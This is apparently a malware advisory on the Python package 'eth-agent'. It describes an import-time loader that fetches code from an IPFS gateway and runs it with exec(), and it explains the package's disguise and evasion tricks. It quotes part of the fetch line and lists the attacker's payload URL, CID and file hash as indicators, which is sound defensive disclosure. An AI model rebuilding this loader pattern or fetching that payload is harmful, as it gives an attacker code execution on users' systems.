GCVE-110-OSM-2026-7942

The package `eth-agent` executes a classic remote-code-execution loader pattern on import: `eth_agent/__init__.py` fetches arbitrary Python code from an IPFS gateway (pinata.cloud CID QmWMbuhKt24ssRKXCeiU94NoZGYcEunGnm6uvSKRwkejYP), decodes it, and passes it directly to `exec()`, then calls a `main()` function if present — giving the attacker full runtime control over any environment that imports the package. The dummy stub functions (`to_checksum`, `estimate_gas`, `build_tx`) are cosmetic cover to impersonate a legitimate Ethereum utility library. Using IPFS as the payload host is a deliberate evasion technique to avoid domain-based blocklists and make payload rotation trivial (just re-pin a new CID). The bare `except: pass` silently suppresses errors to avoid detection during install. Metadata is completely absent (no description, no repository, no author), consistent with a throwaway attacker-controlled burner package. ENTRY eth_agent/__init__.py (module-import: 16) DESTINATION - custom-c2: https://gateway.pinata.cloud/ipfs/QmWMbuhKt24ssRKXCeiU94NoZGYcEunGnm6uvSKRwkejYP (primary, plaintext) in eth_agent/__init__.py - custom-c2: gateway.pinata.cloud (plaintext) in eth_agent/__init__.py EXFIL - Fetch and Eval/Exec in eth_agent/__init__.py: "urllib.request.urlopen("https://gateway.pinata.cloud/ipfs/QmWMbuhKt24ssRKXCeiU94..." - Network Request in eth_agent/__init__.py: "urllib.request.urlopen(" PAYLOAD FILES eth_agent/__init__.py INDICATORS (IOCs) - payloadFileHash: c118bacb062dcf404830c22444b030db03404b16f3358809b00b0bc02510a4ea